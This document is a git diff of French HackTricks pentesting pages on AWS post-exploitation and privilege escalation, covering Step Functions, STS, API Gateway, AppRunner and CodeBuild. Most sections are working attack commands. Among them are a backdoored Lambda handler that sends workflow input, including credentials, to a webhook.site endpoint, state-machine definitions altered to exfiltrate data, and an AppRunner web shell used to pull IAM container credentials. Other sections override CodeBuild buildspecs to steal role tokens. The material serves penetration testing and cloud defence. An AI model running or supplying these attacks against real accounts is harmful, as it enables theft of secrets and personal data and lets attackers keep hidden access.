] [--tolerated-failure-percentage ] [--tolerated-failure-count ] -``` -- **Impact potentiel** : Dégradation des performances et interruption des flux de travail critiques. - -### `states:StopExecution` - -Un attaquant disposant de cette autorisation pourrait être en mesure d'arrêter l'exécution de n'importe quelle machine d'état, perturbant ainsi les flux de travail et les processus en cours. Cela pourrait entraîner des transactions incomplètes, des opérations commerciales arrêtées et une corruption potentielle des données. - -> [!WARNING] -> Cette action n'est pas prise en charge par **les machines d'état express**. -```bash -aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] -``` -- **Impact potentiel** : Interruption des flux de travail en cours, temps d'arrêt opérationnel et corruption potentielle des données. - -### `states:TagResource`, `states:UntagResource` - -Un attaquant pourrait ajouter, modifier ou supprimer des balises des ressources Step Functions, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur des balises. -```bash -aws stepfunctions tag-resource --resource-arn --tags Key=,Value= -aws stepfunctions untag-resource --resource-arn --tag-keys -``` -**Impact potentiel** : Perturbation de l'allocation des coûts, du suivi des ressources et des politiques de contrôle d'accès basées sur des balises. - ---- - -### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode` - -Un attaquant qui compromet un utilisateur ou un rôle avec les permissions suivantes : -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "AllowUpdateStateMachine", -"Effect": "Allow", -"Action": "states:UpdateStateMachine", -"Resource": "*" -}, -{ -"Sid": "AllowUpdateFunctionCode", -"Effect": "Allow", -"Action": "lambda:UpdateFunctionCode", -"Resource": "*" -} -] -} -``` -...peut mener une **attaque post-exploitation à fort impact et furtive** en combinant le backdooring de Lambda avec la manipulation de la logique des Step Functions. - -Ce scénario suppose que la victime utilise **AWS Step Functions pour orchestrer des flux de travail qui traitent des entrées sensibles**, telles que des identifiants, des jetons ou des informations personnelles identifiables. - -Exemple d'invocation de la victime : -```bash -aws stepfunctions start-execution \ ---state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ ---input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim -``` -Si la Step Function est configurée pour invoquer une Lambda comme `LegitBusinessLogic`, l'attaquant peut procéder avec **deux variantes d'attaque furtives** : - ---- - -#### Mise à jour de la fonction lambda - -L'attaquant modifie le code de la fonction Lambda déjà utilisée par la Step Function (`LegitBusinessLogic`) pour exfiltrer silencieusement les données d'entrée. -```python -# send_to_attacker.py -import requests - -def lambda_handler(event, context): -requests.post("https://webhook.site//exfil", json=event) -return {"status": "exfiltrated"} -``` - -```bash -zip function.zip send_to_attacker.py - -aws lambda update-function-code \ ---function-name LegitBusinessLogic \ ---zip-file fileb://function.zip -profile attacker -``` ---- - -#### Ajouter un État Malveillant à la Fonction d'Étape - -Alternativement, l'attaquant peut injecter un **état d'exfiltration** au début du flux de travail en mettant à jour la définition de la Fonction d'Étape. -```malicious_state_definition.json -{ -"Comment": "Backdoored for Exfiltration", -"StartAt": "OriginalState", -"States": { -"OriginalState": { -"Type": "Task", -"Resource": "arn:aws:lambda:us-east-1::function:LegitBusinessLogic", -"End": true -} -} -} - -``` - -```bash -aws stepfunctions update-state-machine \ ---state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ ---definition file://malicious_state_definition.json --profile attacker -``` -L'attaquant peut même être plus furtif en mettant à jour la définition de l'état à quelque chose comme ceci -{ -"Comment": "Backdoored for Exfiltration", -"StartAt": "ExfiltrateSecrets", -"States": { -"ExfiltrateSecrets": { -"Type": "Task", -"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", -"InputPath": "$", -"ResultPath": "$.exfil", -"Next": "OriginalState" -}, -"OriginalState": { -"Type": "Task", -"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", -"End": true -} -} -} -où la victime ne réalisera pas la différence - ---- - -### Configuration de la Victime (Contexte pour l'Exploitation) - -- Une Step Function (`LegitStateMachine`) est utilisée pour traiter des entrées utilisateur sensibles. -- Elle appelle une ou plusieurs fonctions Lambda telles que `LegitBusinessLogic`. - ---- - -**Impact Potentiel**: -- Exfiltration silencieuse de données sensibles, y compris des secrets, des identifiants, des clés API et des informations personnelles identifiables (PII). -- Pas d'erreurs ou d'échecs visibles dans l'exécution du flux de travail. -- Difficile à détecter sans auditer le code Lambda ou les traces d'exécution. -- Permet une persistance à long terme si la porte dérobée reste dans le code ou la logique ASL. - - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md new file mode 100644 index 000000000..6f49ccbed --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md @@ -0,0 +1,183 @@ +# AWS - Step Functions Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Step Functions + +Pour plus d'informations sur ce service AWS, consultez : + +{{#ref}} +../../aws-services/aws-stepfunctions-enum.md +{{#endref}} + +### `states:RevealSecrets` + +Cette permission permet de **révéler des données secrètes à l'intérieur d'une exécution**. Pour cela, il est nécessaire de définir le niveau d'inspection (Inspection level) sur TRACE et le paramètre revealSecrets sur true. + +
+ +### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` + +Un attaquant disposant de ces permissions pourrait supprimer de manière permanente des state machines, leurs versions et alias. Cela peut perturber des workflows critiques, entraîner une perte de données et nécessiter un temps important pour récupérer et restaurer les state machines affectées. De plus, cela permettrait à un attaquant d'effacer les traces utilisées, de perturber les investigations forensiques et potentiellement de paralyser les opérations en supprimant des processus d'automatisation essentiels et les configurations d'état. + +> [!NOTE] +> +> - En supprimant une state machine, vous supprimez également toutes ses versions et alias associés. +> - En supprimant un alias de state machine, vous ne supprimez pas les versions de la state machine faisant référence à cet alias. +> - Il n'est pas possible de supprimer une version de state machine actuellement référencée par un ou plusieurs alias. +```bash +# Delete state machine +aws stepfunctions delete-state-machine --state-machine-arn +# Delete state machine version +aws stepfunctions delete-state-machine-version --state-machine-version-arn +# Delete state machine alias +aws stepfunctions delete-state-machine-alias --state-machine-alias-arn +``` +- **Impact potentiel** : Perturbation des workflows critiques, perte de données et indisponibilité opérationnelle. + +### `states:UpdateMapRun` + +Un attaquant disposant de cette permission pourrait manipuler la configuration d'échec de Map Run et le paramètre de parallélisme, pouvant augmenter ou diminuer le nombre maximal d'exécutions de workflows enfants autorisées, affectant directement la disponibilité et les performances du service. De plus, un attaquant pourrait altérer le pourcentage et le nombre d'échecs tolérés, pouvant réduire cette valeur à 0, de sorte que chaque fois qu'un élément échoue, l'intégralité du Map Run échouerait, affectant directement l'exécution de la state machine et perturbant potentiellement des workflows critiques. +```bash +aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] +``` +- **Impact potentiel**: Dégradation des performances et perturbation des workflows critiques. + +### `states:StopExecution` + +Un attaquant disposant de cette permission pourrait arrêter l'exécution de n'importe quelle state machine, perturbant les workflows et processus en cours. Cela pourrait entraîner des transactions incomplètes, l'arrêt des opérations commerciales et une possible corruption des données. + +> [!WARNING] +> Cette action n'est pas prise en charge par les **express state machines**. +```bash +aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] +``` +- **Impact potentiel** : Perturbation des workflows en cours, indisponibilité opérationnelle et possible corruption des données. + +### `states:TagResource`, `states:UntagResource` + +Un attaquant pourrait ajouter, modifier ou supprimer des tags des ressources Step Functions, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur les tags. +```bash +aws stepfunctions tag-resource --resource-arn --tags Key=,Value= +aws stepfunctions untag-resource --resource-arn --tag-keys +``` +**Impact potentiel** : perturbation de l'allocation des coûts, du suivi des ressources et des politiques de contrôle d'accès basées sur les tags. + +--- + +### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode` + +Un attaquant qui compromet un utilisateur ou un rôle disposant des autorisations suivantes : +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "AllowUpdateStateMachine", +"Effect": "Allow", +"Action": "states:UpdateStateMachine", +"Resource": "*" +}, +{ +"Sid": "AllowUpdateFunctionCode", +"Effect": "Allow", +"Action": "lambda:UpdateFunctionCode", +"Resource": "*" +} +] +} +``` +...peut mener une **high-impact and stealthy post-exploitation attack** en combinant Lambda backdooring avec Step Function logic manipulation. + +Ce scénario suppose que la victime utilise **AWS Step Functions to orchestrate workflows that process sensitive input**, such as credentials, tokens, or PII. + +Exemple d'invocation de la victime : +```bash +aws stepfunctions start-execution \ +--state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ +--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim +``` +Si la Step Function est configurée pour invoquer une Lambda comme `LegitBusinessLogic`, l'attaquant peut procéder à **deux variantes d'attaque furtives** : + +--- + +#### Mise à jour de la fonction Lambda + +L'attaquant modifie le code de la fonction Lambda déjà utilisée par la Step Function (`LegitBusinessLogic`) pour exfiltrer silencieusement les données d'entrée. +```python +# send_to_attacker.py +import requests + +def lambda_handler(event, context): +requests.post("https://webhook.site//exfil", json=event) +return {"status": "exfiltrated"} +``` + +```bash +zip function.zip send_to_attacker.py + +aws lambda update-function-code \ +--function-name LegitBusinessLogic \ +--zip-file fileb://function.zip -profile attacker +``` +#### Ajouter un état malveillant au Step Function + +Alternativement, l'attaquant peut injecter un **exfiltration state** au début du flux de travail en mettant à jour la définition du Step Function. +```malicious_state_definition.json +{ +"Comment": "Backdoored for Exfiltration", +"StartAt": "OriginalState", +"States": { +"OriginalState": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1::function:LegitBusinessLogic", +"End": true +} +} +} + +``` + +```bash +aws stepfunctions update-state-machine \ +--state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ +--definition file://malicious_state_definition.json --profile attacker +``` +L'attaquant peut être encore plus discret en mettant à jour la définition d'état comme ceci +{ +"Comment": "Backdoored for Exfiltration", +"StartAt": "ExfiltrateSecrets", +"States": { +"ExfiltrateSecrets": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", +"InputPath": "$", +"ResultPath": "$.exfil", +"Next": "OriginalState" +}, +"OriginalState": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", +"End": true +} +} +} +où la victime ne remarquera pas la différence + +--- + +### Configuration de la victime (Context for Exploit) + +- A Step Function (`LegitStateMachine`) est utilisée pour traiter des entrées utilisateur sensibles. +- Elle appelle une ou plusieurs fonctions Lambda telles que `LegitBusinessLogic`. + +--- + +**Impact potentiel**: +- Silent exfiltration de données sensibles, y compris secrets, identifiants, clés d'API et PII. +- Aucune erreur visible ou échec dans l'exécution du workflow. +- Difficile à détecter sans auditer le code Lambda ou les traces d'exécution. +- Permet une persistance à long terme si la backdoor reste dans le code ou la logique ASL. + + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md similarity index 68% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md index 8b96c371f..2851eda7c 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md @@ -1,23 +1,23 @@ # AWS - STS Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## STS Pour plus d'informations : {{#ref}} -../aws-services/aws-iam-enum.md +../../aws-services/aws-iam-enum.md {{#endref}} -### De IAM Creds vers Console +### From IAM Creds to Console -Si vous avez réussi à obtenir des IAM credentials, vous pourriez être intéressé par l'accès au web console en utilisant les outils suivants.\ -Notez que le user/role doit avoir la permission **`sts:GetFederationToken`**. +Si vous avez réussi à obtenir des identifiants IAM, vous pourriez être intéressé par **l'accès à la console web** en utilisant les outils suivants.\ +Notez que l'utilisateur/le rôle doit disposer de la permission **`sts:GetFederationToken`**. #### Script personnalisé -Le script suivant utilisera le profile par défaut et une région AWS par défaut (pas gov et pas cn) pour vous fournir une URL signée que vous pouvez utiliser pour vous connecter au web console: +Le script suivant utilisera le profil par défaut et une région AWS par défaut (not gov and not cn) pour vous fournir une URL signée que vous pourrez utiliser pour vous connecter à la console web : ```bash # Get federated creds (you must indicate a policy or they won't have any perms) ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges @@ -75,11 +75,11 @@ aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds aws-vault login jonsmith # Open a browser logged as jonsmith ``` > [!NOTE] -> Vous pouvez aussi utiliser **aws-vault** pour obtenir une **browser console session** +> Vous pouvez aussi utiliser **aws-vault** pour obtenir une **session de console dans le navigateur** -### **Contourner les restrictions User-Agent depuis Python** +### **Bypass User-Agent restrictions from Python** -S'il existe une **restriction empêchant d'effectuer certaines actions en fonction du user agent** utilisé (comme restreindre l'utilisation de la librairie python boto3 selon le user agent), il est possible d'utiliser la technique précédente pour **vous connecter à la web console via un browser**, ou vous pouvez directement **modifier le boto3 user-agent** en faisant : +S'il existe une **restriction pour effectuer certaines actions basée sur le user agent** utilisé (comme restreindre l'utilisation de la python boto3 library en fonction du user agent), il est possible d'utiliser la technique précédente pour **se connecter à la web console via un navigateur**, ou vous pouvez directement **modifier le boto3 user-agent** en faisant : ```bash # Shared by ex16x41 # Create a client @@ -94,12 +94,12 @@ response = client.get_secret_value(SecretId="flag_secret") print(response['Secre ``` ### **`sts:GetFederationToken`** -Avec cette permission, il est possible de créer une identité fédérée pour l'utilisateur qui l'exécute, limitée aux permissions dont dispose cet utilisateur. +Avec cette permission, il est possible de créer une identité fédérée pour l'utilisateur qui l'exécute, limitée aux permissions que cet utilisateur possède. ```bash aws sts get-federation-token --name ``` -Le token renvoyé par sts:GetFederationToken appartient à l'identité fédérée de l'utilisateur appelant, mais avec des permissions restreintes. Même si l'utilisateur dispose de droits d'administrateur, certaines actions, telles que la liste des IAM users ou l'attachement de policies, ne peuvent pas être effectuées via le token fédéré. +Le token renvoyé par sts:GetFederationToken appartient à l'identité fédérée de l'utilisateur appelant, mais avec des permissions restreintes. Même si l'utilisateur dispose de droits d'administrateur, certaines actions, comme lister des IAM users ou attacher des policies, ne peuvent pas être effectuées via le federated token. -De plus, cette méthode est un peu plus discrète, puisque l'utilisateur fédéré n'apparaît pas dans l'AWS Portal ; il ne peut être observé que via les CloudTrail logs ou des outils de monitoring. +De plus, cette méthode est un peu plus discrète, puisque le federated user n'apparaît pas dans l'AWS Portal ; il ne peut être observé que via les CloudTrail logs ou des outils de monitoring. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md deleted file mode 100644 index c9c79f06f..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md +++ /dev/null @@ -1,13 +0,0 @@ -# AWS - VPN Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## VPN - -Pour plus d'informations : - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md new file mode 100644 index 000000000..33082c5f3 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md @@ -0,0 +1,13 @@ +# AWS - VPN Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## VPN + +Pour plus d'informations : + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md similarity index 59% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md index 69e68d71c..7fc6ae549 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md @@ -1,48 +1,48 @@ # AWS - Apigateway Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## Apigateway Pour plus d'informations, consultez : {{#ref}} -../aws-services/aws-api-gateway-enum.md +../../aws-services/aws-api-gateway-enum.md {{#endref}} ### `apigateway:POST` -Avec cette permission, vous pouvez générer des clés API des APIs configurées (par région). +Avec cette permission, vous pouvez générer des clés API pour les APIs configurées (par région). ```bash aws --region apigateway create-api-key ``` -**Impact potentiel :** Vous ne pouvez pas privesc avec cette technique, mais vous pourriez accéder à des informations sensibles. +**Impact potentiel :** Vous ne pouvez pas privesc avec cette technique mais vous pourriez obtenir l'accès à des informations sensibles. ### `apigateway:GET` -Avec cette autorisation, vous pouvez obtenir les clés API générées des API configurées (par région). +Avec cette permission, vous pouvez obtenir les clés API générées des API configurées (par région). ```bash aws --region apigateway get-api-keys aws --region apigateway get-api-key --api-key --include-value ``` -**Impact potentiel :** Vous ne pouvez pas privesc avec cette technique, mais vous pourriez accéder à des informations sensibles. +**Impact potentiel :** Vous ne pouvez pas privesc avec cette technique mais vous pourriez obtenir l'accès à des informations sensibles. ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH` -Avec ces autorisations, il est possible de modifier la politique de ressource d'une API pour vous donner accès à l'appeler et abuser de l'accès potentiel que la passerelle API pourrait avoir (comme invoquer une lambda vulnérable). +Avec ces autorisations il est possible de modifier la resource policy d'une API pour vous donner l'accès pour l'appeler et abuser d'un accès potentiel que l'API gateway pourrait avoir (par exemple en invoquant une lambda vulnérable). ```bash aws apigateway update-rest-api \ --rest-api-id api-id \ --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' ``` -**Impact potentiel :** Vous ne pourrez généralement pas effectuer de privesc directement avec cette technique, mais vous pourriez obtenir accès à des informations sensibles. +**Impact potentiel :** Vous ne pourrez généralement pas effectuer de privesc directement avec cette technique, mais vous pourriez obtenir l'accès à des informations sensibles. ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole` > [!NOTE] -> Besoin de tests +> À tester -Un attaquant avec les permissions `apigateway:PutIntegration`, `apigateway:CreateDeployment`, et `iam:PassRole` peut **ajouter une nouvelle intégration à une API REST API Gateway existante avec une fonction Lambda qui a un rôle IAM attaché**. L'attaquant peut alors **déclencher la fonction Lambda pour exécuter du code arbitraire et potentiellement accéder aux ressources associées au rôle IAM**. +Un attaquant disposant des permissions `apigateway:PutIntegration`, `apigateway:CreateDeployment`, et `iam:PassRole` peut **ajouter une nouvelle intégration à une API Gateway REST API existante avec une fonction Lambda ayant un rôle IAM attaché**. L'attaquant peut ensuite **déclencher la fonction Lambda pour exécuter du code arbitraire et potentiellement accéder aux ressources associées au rôle IAM**. ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -61,9 +61,9 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment` > [!NOTE] -> Nécessite des tests +> À tester -Un attaquant disposant des autorisations `apigateway:UpdateAuthorizer` et `apigateway:CreateDeployment` peut **modifier un authorizer API Gateway existant** pour contourner les vérifications de sécurité ou exécuter du code arbitraire lors des requêtes API. +Un attaquant disposant des permissions `apigateway:UpdateAuthorizer` et `apigateway:CreateDeployment` peut **modifier un authorizer API Gateway existant** afin de contourner les contrôles de sécurité ou d'exécuter du code arbitraire lorsqu'une requête API est effectuée. ```bash API_ID="your-api-id" AUTHORIZER_ID="your-authorizer-id" @@ -75,21 +75,21 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Impact potentiel** : Contournement des vérifications de sécurité, accès non autorisé aux ressources API. +**Impact potentiel** : Contournement des contrôles de sécurité, accès non autorisé aux ressources d'API. ### `apigateway:UpdateVpcLink` > [!NOTE] > Nécessite des tests -Un attaquant disposant de la permission `apigateway:UpdateVpcLink` peut **modifier un VPC Link existant pour le faire pointer vers un autre équilibreur de charge réseau, redirigeant potentiellement le trafic API privé vers des ressources non autorisées ou malveillantes**. +Un attaquant disposant de la permission `apigateway:UpdateVpcLink` peut **modifier un VPC Link existant pour le faire pointer vers un autre Network Load Balancer, redirigeant potentiellement le trafic d'API privé vers des ressources non autorisées ou malveillantes**. ```bash -bashCopy codeVPC_LINK_ID="your-vpc-link-id" +VPC_LINK_ID="your-vpc-link-id" NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188" # Update the VPC Link aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]" ``` -**Impact potentiel** : Accès non autorisé aux ressources API privées, interception ou perturbation du trafic API. +**Impact potentiel**: Accès non autorisé aux ressources API privées, interception ou perturbation du trafic API. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md similarity index 65% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md index ec1d147d5..15d7868fd 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md @@ -1,12 +1,12 @@ # AWS - AppRunner Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## AppRunner ### `iam:PassRole`, `apprunner:CreateService` -Un attaquant disposant de ces autorisations peut créer un service AppRunner avec un rôle IAM attaché, ce qui peut potentiellement entraîner une élévation de privilèges en accédant aux informations d'identification du rôle. +Un attaquant disposant de ces autorisations peut créer un service AppRunner avec un rôle IAM attaché, pouvant escalader les privilèges en accédant aux identifiants du rôle. L'attaquant crée d'abord un Dockerfile qui sert de web shell pour exécuter des commandes arbitraires sur le conteneur AppRunner. ```Dockerfile @@ -40,7 +40,8 @@ RUN go mod init test && go build -o main . EXPOSE 3000 CMD ["./main"] ``` -Ensuite, poussez cette image vers un dépôt ECR. En poussant l'image vers un dépôt public dans un compte AWS contrôlé par l'attaquant, l'escalade de privilèges est possible même si le compte de la victime n'a pas les autorisations nécessaires pour manipuler ECR. +Ensuite, poussez cette image dans un dépôt ECR. +En poussant l'image vers un dépôt public dans un compte AWS contrôlé par l'attaquant, une escalade de privilèges est possible même si le compte de la victime n'a pas les permissions pour manipuler ECR. ```sh IMAGE_NAME=public.ecr.aws///:latest docker buildx build --platform linux/amd64 -t $IMAGE_NAME . @@ -48,7 +49,7 @@ aws ecr-public get-login-password | docker login --username AWS --password-stdin docker push $IMAGE_NAME docker logout public.ecr.aws ``` -Ensuite, l'attaquant crée un service AppRunner configuré avec cette image de web shell et le rôle IAM qu'il souhaite exploiter. +Ensuite, l'attaquant crée un service AppRunner configuré avec cette image de web shell et le IAM Role qu'il souhaite exploiter. ```bash aws apprunner create-service \ --service-name malicious-service \ @@ -62,10 +63,10 @@ aws apprunner create-service \ --instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \ --query Service.ServiceUrl ``` -Après avoir attendu la création du service, utilisez le shell web pour récupérer les identifiants du conteneur et obtenir les autorisations du rôle IAM attaché à AppRunner. +Après avoir attendu que la création du service soit terminée, utilisez le web shell pour récupérer les container credentials et obtenir les permissions de l'IAM Role attaché à AppRunner. ```sh curl 'https:///?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI' ``` -**Impact potentiel :** Escalade de privilèges directe vers tout rôle IAM pouvant être attaché aux services AppRunner. +**Impact potentiel :** Escalade de privilèges directe vers n'importe quel IAM role pouvant être attaché aux services AppRunner. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md deleted file mode 100644 index 8768be88a..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md +++ /dev/null @@ -1,9 +0,0 @@ -# AWS - Chime Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -### chime:CreateApiKey - -À faire - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md new file mode 100644 index 000000000..cacff197c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md @@ -0,0 +1,9 @@ +# AWS - Chime Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +### chime:CreateApiKey + +À FAIRE + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md similarity index 72% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md index ec1b6b69c..2842dee27 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md @@ -1,18 +1,18 @@ # AWS - Codebuild Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## codebuild -Obtenez plus d'infos dans : +Obtenez plus d'informations dans : {{#ref}} -../aws-services/aws-codebuild-enum.md +../../aws-services/aws-codebuild-enum.md {{#endref}} ### `codebuild:StartBuild` | `codebuild:StartBuildBatch` -Avec l'une de ces autorisations, il suffit de déclencher une construction avec un nouveau buildspec et de voler le token du rôle iam attribué au projet : +Avec seulement l'une de ces permissions, il suffit de déclencher un build avec un nouveau buildspec et de voler le token du rôle iam assigné au projet : {{#tabs }} {{#tab name="StartBuild" }} @@ -58,16 +58,16 @@ aws codebuild start-build-batch --project --buildspec-override fi {{#endtab }} {{#endtabs }} -**Remarque** : La différence entre ces deux commandes est que : +**Note** : La différence entre ces deux commandes est que : -- `StartBuild` déclenche un seul travail de construction en utilisant un `buildspec.yml` spécifique. -- `StartBuildBatch` vous permet de démarrer un lot de constructions, avec des configurations plus complexes (comme l'exécution de plusieurs constructions en parallèle). +- `StartBuild` déclenche un seul job de build en utilisant un `buildspec.yml` spécifique. +- `StartBuildBatch` permet de lancer un ensemble de builds, avec des configurations plus complexes (comme exécuter plusieurs builds en parallèle). -**Impact potentiel :** Privesc direct aux rôles AWS Codebuild attachés. +**Impact potentiel :** Privesc direct vers les rôles AWS Codebuild attachés. ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Un attaquant avec les permissions **`iam:PassRole`, `codebuild:CreateProject`, et `codebuild:StartBuild` ou `codebuild:StartBuildBatch`** serait capable de **escalader les privilèges à n'importe quel rôle IAM codebuild** en créant un rôle en cours d'exécution. +Un attaquant disposant des permissions **`iam:PassRole`, `codebuild:CreateProject`, et `codebuild:StartBuild` ou `codebuild:StartBuildBatch`** pourrait effectuer un **privesc vers n'importe quel rôle IAM codebuild** en en créant un en cours d'exécution. {{#tabs }} {{#tab name="Example1" }} @@ -171,20 +171,20 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data {{#endtab }} {{#endtabs }} -**Impact potentiel :** Privesc direct vers n'importe quel rôle AWS Codebuild. +**Impact potentiel :** Privesc direct sur n'importe quel rôle AWS Codebuild. > [!WARNING] -> Dans un **conteneur Codebuild**, le fichier `/codebuild/output/tmp/env.sh` contient toutes les variables d'environnement nécessaires pour accéder aux **identifiants de métadonnées**. +> Dans un **conteneur Codebuild** le fichier `/codebuild/output/tmp/env.sh` contient toutes les variables d'environnement nécessaires pour accéder aux **metadata credentials**. -> Ce fichier contient la **variable d'environnement `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** qui contient le **chemin URL** pour accéder aux identifiants. Ce sera quelque chose comme `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` +> Ce fichier contient la **variable d'environnement `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** qui contient le **chemin d'URL** pour accéder aux credentials. Ce sera quelque chose comme 